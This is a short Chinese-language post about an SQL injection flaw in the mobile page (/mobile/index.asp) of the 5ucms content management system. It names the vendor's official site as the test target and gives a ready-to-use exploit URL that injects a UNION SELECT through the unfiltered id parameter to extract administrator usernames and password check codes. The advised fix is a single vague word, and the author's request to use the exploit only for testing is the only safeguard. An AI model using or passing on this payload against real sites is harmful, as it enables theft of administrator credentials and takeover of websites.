5ucms最新版sql 注入漏洞及修复 - 网站安全 - 自学

漏洞 文件：/mobile/index. asp  

漏洞说明：未对变量id过滤 导致产生sql注入！ 

漏洞测试：http://www.5u.hk/ 官方 

 

 

漏洞EXP↓ 

 

/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin 

 

漏洞修复↓ 

 

过滤。。。 

 

放手上很久了，没怎么用。就放出来吧。希望只用于测试。不要恶意利用

查看更多关于5ucms最新版sql 注入漏洞及修复 - 网站安全 - 自学的详细内容...